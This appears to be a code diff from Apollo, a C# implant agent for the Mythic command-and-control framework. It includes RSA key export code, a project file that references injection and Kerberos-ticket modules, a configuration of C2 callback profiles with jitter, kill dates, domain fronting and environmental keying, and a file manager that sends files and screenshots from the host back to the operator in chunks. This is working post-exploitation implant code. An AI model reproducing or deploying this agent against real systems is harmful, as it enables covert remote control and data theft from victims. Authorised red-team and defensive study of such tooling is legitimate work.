return outputStream.ToString();
}
public override String ExportPublicKey()
{
StringWriter outputStream = new StringWriter();
var parameters = RSA.ExportParameters(false);
using (var stream = new MemoryStream())
{
var writer = new BinaryWriter(stream);
writer.Write((byte)0x30); // SEQUENCE
using (var innerStream = new MemoryStream())
{
var innerWriter = new BinaryWriter(innerStream);
innerWriter.Write((byte)0x30); // SEQUENCE
EncodeLength(innerWriter, 13);
innerWriter.Write((byte)0x06); // OBJECT IDENTIFIER
var rsaEncryptionOid = new byte[] { 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01 };
EncodeLength(innerWriter, rsaEncryptionOid.Length);
innerWriter.Write(rsaEncryptionOid);
innerWriter.Write((byte)0x05); // NULL
EncodeLength(innerWriter, 0);
innerWriter.Write((byte)0x03); // BIT STRING
using (var bitStringStream = new MemoryStream())
{
var bitStringWriter = new BinaryWriter(bitStringStream);
bitStringWriter.Write((byte)0x00); // # of unused bits
bitStringWriter.Write((byte)0x30); // SEQUENCE
using (var paramsStream = new MemoryStream())
{
var paramsWriter = new BinaryWriter(paramsStream);
EncodeIntegerBigEndian(paramsWriter, parameters.Modulus); // Modulus
EncodeIntegerBigEndian(paramsWriter, parameters.Exponent); // Exponent
var paramsLength = (int)paramsStream.Length;
EncodeLength(bitStringWriter, paramsLength);
bitStringWriter.Write(paramsStream.GetBuffer(), 0, paramsLength);
}
var bitStringLength = (int)bitStringStream.Length;
EncodeLength(innerWriter, bitStringLength);
innerWriter.Write(bitStringStream.GetBuffer(), 0, bitStringLength);
}
var length = (int)innerStream.Length;
EncodeLength(writer, length);
writer.Write(innerStream.GetBuffer(), 0, length);
}
string base64 = Convert.ToBase64String(stream.GetBuffer(), 0, (int)stream.Length);
return base64;
}
}
private static void EncodeLength(BinaryWriter stream, int length)
{
if (length < 0) throw new ArgumentOutOfRangeException("length", "Length must be non-negative");
if (length < 0x80)
{
// Short form
stream.Write((byte)length);
}
else
{
// Long form
var temp = length;
var bytesRequired = 0;
while (temp > 0)
{
temp >>= 8;
bytesRequired++;
}
stream.Write((byte)(bytesRequired | 0x80));
for (var i = bytesRequired - 1; i >= 0; i--)
{
stream.Write((byte)(length >> (8 * i) & 0xff));
}
}
}
private static void EncodeIntegerBigEndian(BinaryWriter stream, byte[] value, bool forceUnsigned = true)
{
stream.Write((byte)0x02); // INTEGER
var prefixZeros = 0;
for (var i = 0; i < value.Length; i++)
{
if (value[i] != 0) break;
prefixZeros++;
}
if (value.Length - prefixZeros == 0)
{
EncodeLength(stream, 1);
stream.Write((byte)0);
}
else
{
if (forceUnsigned && value[prefixZeros] > 0x7f)
{
// Add a prefix zero to force unsigned if the MSB is 1
EncodeLength(stream, value.Length - prefixZeros + 1);
stream.Write((byte)0);
}
else
{
EncodeLength(stream, value.Length - prefixZeros);
}
for (var i = prefixZeros; i < value.Length; i++)
{
stream.Write(value[i]);
}
}
}
}
}
}

View File

@@ -0,0 +1,43 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net451</TargetFramework>
<OutputType>Exe</OutputType>
<LangVersion>12</LangVersion>
<Nullable>enable</Nullable>
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
<Platforms>AnyCPU;x64;x86</Platforms>
</PropertyGroup>
<ItemGroup>
<Reference Include="System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\..\..\..\..\..\..\..\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll</HintPath>
</Reference>
<Reference Include="System.Security" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\ApolloInterop\ApolloInterop.csproj" />
<ProjectReference Include="..\DInvokeResolver\DInvokeResolver.csproj" />
<ProjectReference Include="..\EncryptedFileStore\EncryptedFileStore.csproj" />
<ProjectReference Include="..\HttpProfile\HttpProfile.csproj" />
<ProjectReference Include="..\HttpxProfile\HttpxProfile.csproj" />
<ProjectReference Include="..\HttpxTransform\HttpxTransform.csproj" />
<ProjectReference Include="..\Injection\Injection.csproj" />
<ProjectReference Include="..\KerberosTickets\KerberosTickets.csproj" />
<ProjectReference Include="..\NamedPipeProfile\NamedPipeProfile.csproj" />
<ProjectReference Include="..\PlaintextCrypto\PlaintextCryptography.csproj" />
<ProjectReference Include="..\Process\Process.csproj" />
<ProjectReference Include="..\PSKCrypto\PSKCryptography.csproj" />
<ProjectReference Include="..\SimpleResolver\SimpleResolver.csproj" />
<ProjectReference Include="..\Tasks\Tasks.csproj" />
<ProjectReference Include="..\TcpProfile\TcpProfile.csproj" />
<ProjectReference Include="..\WebsocketProfile\WebsocketProfile.csproj" />
<ProjectReference Include="..\AzureBlobProfile\AzureBlobProfile.csproj" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="Costura.Fody" Version="5.7.0" PrivateAssets="All" />
<PackageReference Include="Microsoft.CSharp" Version="4.7.0" />
<PackageReference Include="PolySharp" Version="1.14.1" />
<PackageReference Include="System.Data.DataSetExtensions" Version="4.5.0" />
</ItemGroup>
</Project>

View File

@@ -0,0 +1,294 @@
#define C2PROFILE_NAME_UPPER
//#define LOCAL_BUILD
#if LOCAL_BUILD
//#define HTTP
//#define WEBSOCKET
//#define TCP
//#define SMB
//#define AZURE_BLOB
//#define HTTPX
#endif
#if HTTP
using HttpTransport;
#endif
#if HTTPX
using HttpxTransport;
#endif
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using ApolloInterop.Structs.ApolloStructs;
using PSKCryptography;
using ApolloInterop.Serializers;
#if WEBSOCKET
using WebsocketTransport;
#endif
#if SMB
using NamedPipeTransport;
#endif
#if TCP
using TcpTransport;
#endif
#if AZURE_BLOB
using AzureBlobTransport;
#endif
namespace Apollo
{
public static class Config
{
public static Dictionary<string, C2ProfileData> EgressProfiles = new Dictionary<string, C2ProfileData>()
{
#if HTTP
{ "http", new C2ProfileData()
{
TC2Profile = typeof(HttpProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "callback_interval", "1" },
{ "callback_jitter", "0" },
{ "callback_port", "80" },
{ "callback_host", "http://192.168.53.1" },
{ "post_uri", "data" },
{ "encrypted_exchange_check", "T" },
{ "proxy_host", "" },
{ "proxy_port", "" },
{ "proxy_user", "" },
{ "proxy_pass", "" },
{ "domain_front", "domain_front" },
{ "killdate", "-1" },
{ "USER_AGENT", "Apollo-Refactor" },
#else
{ "callback_interval", "http_callback_interval_here" },
{ "callback_jitter", "http_callback_jitter_here" },
{ "callback_port", "http_callback_port_here" },
{ "callback_host", "http_callback_host_here" },
{ "post_uri", "http_post_uri_here" },
{ "encrypted_exchange_check", "http_encrypted_exchange_check_here" },
{ "proxy_host", "http_proxy_host_here" },
{ "proxy_port", "http_proxy_port_here" },
{ "proxy_user", "http_proxy_user_here" },
{ "proxy_pass", "http_proxy_pass_here" },
{ "killdate", "http_killdate_here" },
HTTP_ADDITIONAL_HEADERS_HERE
#endif
}
}
},
#endif
#if WEBSOCKET
{ "websocket", new C2ProfileData()
{
TC2Profile = typeof(WebsocketProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "tasking_type", "Push" },
{ "callback_interval", "5" },
{ "callback_jitter", "0" },
{ "callback_port", "8081" },
{ "callback_host", "ws://mythic" },
{ "ENDPOINT_REPLACE", "socket" },
{ "encrypted_exchange_check", "T" },
{ "domain_front", "domain_front" },
{ "killdate", "-1" },
{ "USER_AGENT", "Apollo-Refactor" },
#else
{ "tasking_type", "websocket_tasking_type_here"},
{ "callback_interval", "websocket_callback_interval_here" },
{ "callback_jitter", "websocket_callback_jitter_here" },
{ "callback_port", "websocket_callback_port_here" },
{ "callback_host", "websocket_callback_host_here" },
{ "ENDPOINT_REPLACE", "websocket_ENDPOINT_REPLACE_here" },
{ "encrypted_exchange_check", "websocket_encrypted_exchange_check_here" },
{ "domain_front", "websocket_domain_front_here" },
{ "USER_AGENT", "websocket_USER_AGENT_here" },
{ "killdate", "websocket_killdate_here" },
HTTP_ADDITIONAL_HEADERS_HERE
#endif
}
}
},
#endif
#if SMB
{ "smb", new C2ProfileData()
{
TC2Profile = typeof(NamedPipeProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "pipename", "h20iexte-2l1t-mmfu-ipjh-6ofmobkaruq8" },
{ "encrypted_exchange_check", "true" },
#else
{ "pipename", "smb_pipename_here" },
{ "encrypted_exchange_check", "smb_encrypted_exchange_check_here" },
#endif
}
}
},
#endif
#if TCP
{ "tcp", new C2ProfileData()
{
TC2Profile = typeof(TcpProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "port", "40000" },
{ "encrypted_exchange_check", "true" },
#else
{ "port", "tcp_port_here" },
{ "encrypted_exchange_check", "tcp_encrypted_exchange_check_here" },
#endif
}
}
},
#endif
#if AZURE_BLOB
{ "azure_blob", new C2ProfileData()
{
TC2Profile = typeof(AzureBlobProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "blob_endpoint", "https://yourstorageaccount.blob.core.windows.net" },
{ "container_name", "agent-test12345ab" },
{ "sas_token", "your_test_sas_token_here" },
{ "callback_interval", "5" },
{ "callback_jitter", "10" },
{ "encrypted_exchange_check", "T" },
{ "killdate", "-1" },
{ "enable_certificate_check", "true" },
{ "proxy_host", "" },
{ "proxy_port", "" },
{ "proxy_user", "" },
{ "proxy_pass", "" },
#else
{ "blob_endpoint", "azure_blob_blob_endpoint_here" },
{ "container_name", "azure_blob_container_name_here" },
{ "sas_token", "azure_blob_sas_token_here" },
{ "callback_interval", "azure_blob_callback_interval_here" },
{ "callback_jitter", "azure_blob_callback_jitter_here" },
{ "encrypted_exchange_check", "azure_blob_encrypted_exchange_check_here" },
{ "killdate", "azure_blob_killdate_here" },
{ "enable_certificate_check", "azure_blob_enable_certificate_check_here" },
{ "proxy_host", "azure_blob_proxy_host_here" },
{ "proxy_port", "azure_blob_proxy_port_here" },
{ "proxy_user", "azure_blob_proxy_user_here" },
{ "proxy_pass", "azure_blob_proxy_pass_here" },
#endif
}
}
},
#endif
#if HTTPX
{ "httpx", new C2ProfileData()
{
TC2Profile = typeof(HttpxProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "callback_interval", "10" },
{ "callback_jitter", "23" },
{ "callback_domains", "https://example.com:443" },
{ "domain_rotation", "fail-over" },
{ "failover_threshold", "5" },
{ "encrypted_exchange_check", "true" },
{ "killdate", "-1" },
{ "raw_c2_config", "" },
#else
{ "callback_interval", "httpx_callback_interval_here" },
{ "callback_jitter", "httpx_callback_jitter_here" },
{ "callback_domains", "httpx_callback_domains_here" },
{ "domain_rotation", "httpx_domain_rotation_here" },
{ "failover_threshold", "httpx_failover_threshold_here" },
{ "encrypted_exchange_check", "httpx_encrypted_exchange_check_here" },
{ "killdate", "httpx_killdate_here" },
{ "raw_c2_config", "httpx_raw_c2_config_here" },
{ "proxy_host", "httpx_proxy_host_here" },
{ "proxy_port", "httpx_proxy_port_here" },
{ "proxy_user", "httpx_proxy_user_here" },
{ "proxy_pass", "httpx_proxy_pass_here" },
{ "domain_front", "httpx_domain_front_here" },
{ "timeout", "httpx_timeout_here" },
#endif
}
}
},
#endif
};
public static Dictionary<string, C2ProfileData> IngressProfiles = new Dictionary<string, C2ProfileData>();
#if LOCAL_BUILD
#if HTTP
public static string StagingRSAPrivateKey = "wkskVa0wTi4E3EZ6bi9YyKpbHb01NNDgZ1BXnJJM5io=";
#elif WEBSOCKET
public static string StagingRSAPrivateKey = "Hl3IzCYy3io5QU70xjpYyCNrOmA84aWMZLkCwumrAFM=";
#elif SMB
public static string StagingRSAPrivateKey = "NNLlAegRMB8DIX7EZ1Yb6UlKQ4la90QsisIThCyhfCc=";
#elif TCP
public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg=";
#elif AZURE_BLOB
public static string StagingRSAPrivateKey = "R3BLdG9OZXdBenVyZUJsb2JQcm9maWxlS2V5MTIzNA==";
#elif HTTPX
public static string StagingRSAPrivateKey = "K4FLVfFwCPj3zBC+5l9WLCKqsmrtzkk/E8VcVY6iK/o=";
#endif
#if HTTP
public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204";
#elif WEBSOCKET
public static string PayloadUUID = "7546e204-aae4-42df-b28a-ade1c13594d2";
#elif SMB
public static string PayloadUUID = "aff94490-1e23-4373-978b-263d9c0a47b3";
#elif TCP
public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544";
#elif AZURE_BLOB
public static string PayloadUUID = "d1eefaf1-99c7-1901-ded0-3fac2312abdc";
#elif HTTPX
public static string PayloadUUID = "7f2a0f77-51ca-4afc-a7a9-5ea9717e73c3";
#endif
#else
public static string StagingRSAPrivateKey = "AESPSK_here";
public static string PayloadUUID = "payload_uuid_here";
#endif
#if LOCAL_BUILD
// Environmental Keying Configuration
public static bool KeyingEnabled = false;
public static int KeyingMethod = 1; // 1=Hostname, 2=Domain, 3=Registry
public static string KeyingValueHash = "keying_value_hash_here";
// Registry Keying Configuration
public static string RegistryPath = "registry_path_here";
public static string RegistryValue = "registry_value_here";
public static int RegistryComparison = 1; // 1=Matches, 2=Contains
#else
// Environmental Keying Configuration
public static bool KeyingEnabled = keying_enabled_here;
public static int KeyingMethod = keying_method_here; // 1=Hostname, 2=Domain, 3=Registry
public static string KeyingValueHash = "keying_value_hash_here";
// Registry Keying Configuration
public static string RegistryPath = "registry_path_here";
public static string RegistryValue = "registry_value_here";
public static int RegistryComparison = registry_comparison_here; // 1=Matches, 2=Contains
#endif
}
}

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
<Costura IncludeDebugSymbols='false'>
</Costura>
</Weavers>

View File

@@ -0,0 +1,141 @@
<?xml version="1.0" encoding="utf-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
<xs:element name="Weavers">
<xs:complexType>
<xs:all>
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
<xs:complexType>
<xs:all>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
</xs:all>
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCompression" type="xs:boolean">
<xs:annotation>
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCleanup" type="xs:boolean">
<xs:annotation>
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:all>
<xs:attribute name="VerifyAssembly" type="xs:boolean">
<xs:annotation>
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
<xs:annotation>
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="GenerateXsd" type="xs:boolean">
<xs:annotation>
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:schema>

View File

@@ -0,0 +1,37 @@
using ApolloInterop.Interfaces;
#if HTTP
using HttpTransport;
#endif
#if HTTPX
using HttpxTransport;
#endif
using System;
using System.Collections.Generic;
namespace Apollo.Management.C2
{
public class C2ProfileManager : ApolloInterop.Classes.C2ProfileManager
{
public C2ProfileManager(IAgent agent) : base(agent)
{
}
public override IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary<string, string> parameters)
{
#if HTTP
if (c2 == typeof(HttpProfile))
{
return new HttpProfile(parameters, serializer, Agent);
}
#endif
#if HTTPX
if (c2 == typeof(HttpxProfile))
{
return new HttpxProfile(parameters, serializer, Agent);
}
#endif
throw new ArgumentException($"Unsupported C2 Profile type: {c2.Name}");
}
}
}

View File

@@ -0,0 +1,314 @@
using ApolloInterop.Classes.Core;
using ApolloInterop.Classes.Events;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using ApolloInterop.Classes.Cryptography;
namespace Apollo.Management.Files
{
public sealed class FileManager : IFileManager
{
private int _chunkSize = 512000;
private IAgent _agent;
private IEncryptedFileStore _fileStore;
public FileManager(IAgent agent)
{
_agent = agent;
_fileStore = new EncryptedFileStore.EncryptedFileStore(
new ICryptographicRoutine[]
{
new AesRoutine(),
// In the future, we should allow composible encryption routines;
// however, due to how impersonation and DPAPI interact,
// we can't use DPAPI to encrypt files.
// new DpapiRoutine(System.Guid.NewGuid().ToByteArray()),
});
}
internal struct UploadMessageTracker
{
internal AutoResetEvent Complete;
internal ChunkedMessageStore<MythicTaskStatus> MessageStore;
internal byte[] Data;
private CancellationToken _ct;
internal bool error;
internal UploadMessageTracker(CancellationToken ct, bool initialState = false, ChunkedMessageStore<MythicTaskStatus> store = null, byte[] data = null)
{
_ct = ct;
Complete = new AutoResetEvent(initialState);
MessageStore = store == null ? new ChunkedMessageStore<MythicTaskStatus>() : store;
Data = data;
error = false;
}
internal void MarkError()
{
error = true;
}
}
// Annoyingly, we need a separate struct as Download task responses don't have
public class DownloadMessageTracker
{
public AutoResetEvent Complete = new AutoResetEvent(false);
public List<MythicTaskStatus> Statuses = new List<MythicTaskStatus>();
public event EventHandler<ChunkMessageEventArgs<MythicTaskStatus>> ChunkAdd;
public event EventHandler<ChunkMessageEventArgs<MythicTaskStatus>> AllChunksSent;
private CancellationToken _ct;
public int TotalChunks { get; private set; }
public string FilePath { get; private set; }
public string Hostname { get; private set; }
public int ChunkSize { get; private set; }
public byte[][] Chunks { get; private set; }
public int ChunksSent { get; private set; } = 0;
public string FileID = "";
private object _lock = new object();
public bool IsScreenshot { get; private set; }
internal DownloadMessageTracker(CancellationToken ct, byte[] data, int chunkSize, string filePath, string hostName = "", bool screenshot = false)
{
_ct = ct;
TotalChunks = (int)Math.Ceiling((double)data.Length / (double)chunkSize);
Chunks = new byte[TotalChunks][];
for(int i = 0; i < TotalChunks; i++)
{
Chunks[i] = data.Skip(i * chunkSize).Take(chunkSize).ToArray();
}
FilePath = filePath;
Hostname = hostName;
IsScreenshot = screenshot;
}
public void AddMessage(MythicTaskStatus t)
{
if (!string.IsNullOrEmpty(t.FileID) && string.IsNullOrEmpty(FileID))
{
FileID = t.FileID;
} else if (t.StatusMessage == "success")
{
ChunksSent += 1;
}
Statuses.Add(t);
if (ChunksSent == TotalChunks || t.StatusMessage == "error" || _ct.IsCancellationRequested)
{
AllChunksSent?.Invoke(this, new ChunkMessageEventArgs<MythicTaskStatus>(new MythicTaskStatus[] { t }));
Complete.Set();
} else
{
ChunkAdd?.Invoke(this, new ChunkMessageEventArgs<MythicTaskStatus>(new MythicTaskStatus[]{ t }));
}
}
}
private ConcurrentDictionary<string, UploadMessageTracker> _uploadMessageStore = new ConcurrentDictionary<string, UploadMessageTracker>();
private ConcurrentDictionary<string, DownloadMessageTracker> _downloadMessageStore = new ConcurrentDictionary<string, DownloadMessageTracker>();
public string[] GetPendingTransfers()
{
return _uploadMessageStore.Keys.Concat(_downloadMessageStore.Keys).ToArray();
}
public void ProcessResponse(MythicTaskStatus resp)
{
if (_uploadMessageStore.ContainsKey(resp.ApolloTrackerUUID))
{
// This is an upload message response, send it along.
if (resp.ChunkNumber > 0 && _uploadMessageStore.ContainsKey(resp.ApolloTrackerUUID))
{
_uploadMessageStore[resp.ApolloTrackerUUID].MessageStore.AddMessage(resp);
}
} else
{
if (_downloadMessageStore.ContainsKey(resp.ApolloTrackerUUID))
{
_downloadMessageStore[resp.ApolloTrackerUUID].AddMessage(resp);
}
}
}
private void FileManager_MessageComplete(object sender, ChunkMessageEventArgs<MythicTaskStatus> e)
{
List<byte> data = new List<byte>();
for(int i = 0; i < e.Chunks.Length; i++)
{
data.AddRange(Convert.FromBase64String(e.Chunks[i].ChunkData));
}
if (_uploadMessageStore.TryGetValue(e.Chunks[0].ApolloTrackerUUID, out UploadMessageTracker tracker))
{
tracker.Data = data.ToArray();
_uploadMessageStore[e.Chunks[0].ApolloTrackerUUID] = tracker;
tracker.Complete.Set();
}
}
public bool PutFile(CancellationToken ct, string taskID, byte[] content, string originatingPath, out string mythicFileId, bool isScreenshot = false, string originatingHost = null)
{
string uuid = Guid.NewGuid().ToString();
lock (_downloadMessageStore)
{
if (string.IsNullOrEmpty(originatingHost))
{
originatingHost = Environment.GetEnvironmentVariable("COMPUTERNAME");
}
_downloadMessageStore[uuid] = new DownloadMessageTracker(ct, content, _chunkSize, originatingPath, originatingHost, isScreenshot);
_downloadMessageStore[uuid].ChunkAdd += DownloadChunkSent;
}
MythicTaskResponse resp = new MythicTaskResponse
{
TaskID = taskID,
Download = new DownloadMessage
{
TotalChunks = _downloadMessageStore[uuid].TotalChunks,
FullPath = originatingPath,
Hostname = originatingHost,
IsScreenshot = isScreenshot,
TaskID = taskID,
},
ApolloTrackerUUID = uuid
};
_agent.GetTaskManager()?.AddTaskResponseToQueue(resp);
WaitHandle.WaitAny(new WaitHandle[]
{
_downloadMessageStore[uuid].Complete,
ct.WaitHandle
});
_downloadMessageStore.TryRemove(uuid, out DownloadMessageTracker itemTracker);
mythicFileId = itemTracker.FileID;
return !ct.IsCancellationRequested && itemTracker.ChunksSent == itemTracker.TotalChunks;
}
public bool GetFile(CancellationToken ct, string taskID, string fileID, out byte[] fileBytes)
{
string uuid = Guid.NewGuid().ToString();
lock(_uploadMessageStore)
{
if (!_uploadMessageStore.ContainsKey(taskID))
{
_uploadMessageStore[uuid] = new UploadMessageTracker(ct, false);
_uploadMessageStore[uuid].MessageStore.ChunkAdd += MessageStore_ChunkAdd;
_uploadMessageStore[uuid].MessageStore.MessageComplete += FileManager_MessageComplete;
}
}
_agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse()
{
TaskID = taskID,
Status = $"Fetching File Chunk 1...",
Upload = new UploadMessage()
{
TaskID = taskID,
FileID = fileID,
ChunkNumber = 1,
ChunkSize = _chunkSize
},
ApolloTrackerUUID = uuid
});
WaitHandle.WaitAny(new WaitHandle[]
{
_uploadMessageStore[uuid].Complete,
ct.WaitHandle
});
bool bRet = false;
if (_uploadMessageStore[uuid].Data != null && !_uploadMessageStore[uuid].error)
{
fileBytes = _uploadMessageStore[uuid].Data;
bRet = true;
_agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse()
{
TaskID = taskID,
Status = "Using file...",
});
} else
{
fileBytes = null;
bRet = false;
}
_uploadMessageStore.TryRemove(uuid, out UploadMessageTracker _);
return bRet;
}
private void MessageStore_ChunkAdd(object sender, ChunkMessageEventArgs<MythicTaskStatus> e)
{
MythicTaskStatus msg = e.Chunks[0];
if(msg.StatusMessage != "success")
{
_uploadMessageStore[msg.ApolloTrackerUUID].MarkError();
_uploadMessageStore[msg.ApolloTrackerUUID].Complete.Set();
return;
}
_agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse()
{
TaskID = msg.TaskID,
Status = $"Fetching File Chunk {msg.ChunkNumber + 1} / {msg.TotalChunks}",
Upload = new UploadMessage()
{
TaskID = msg.TaskID,
FileID = msg.FileID,
ChunkNumber = msg.ChunkNumber + 1,
ChunkSize = _chunkSize
},
ApolloTrackerUUID = msg.ApolloTrackerUUID
});
}
private void DownloadChunkSent(object sender, ChunkMessageEventArgs<MythicTaskStatus> e)
{
DownloadMessageTracker tracker = (DownloadMessageTracker)sender;
var msg = new MythicTaskResponse()
{
TaskID = e.Chunks[0].TaskID,
Status = $"Transferring chunk {tracker.ChunksSent + 1} / {e.Chunks[0].TotalChunks}",
Download = new DownloadMessage
{
ChunkNumber = tracker.ChunksSent + 1,
FileID = tracker.FileID,
ChunkData = Convert.ToBase64String(tracker.Chunks[tracker.ChunksSent]),
TaskID = e.Chunks[0].TaskID
},
ApolloTrackerUUID = e.Chunks[0].ApolloTrackerUUID
};
if(tracker.ChunksSent == 0){
msg.UserOutput = $"{{\"file_id\": \"{tracker.FileID}\"}}";
}
_agent.GetTaskManager().AddTaskResponseToQueue(msg);
}
public string GetScript()
{
return _fileStore.GetScript();
}
public void SetScript(string script)
{
_fileStore.SetScript(script);
}
public bool AddFileToStore(string keyName, byte[] data)
{
return _fileStore.TryAddOrUpdate(keyName, data);
}
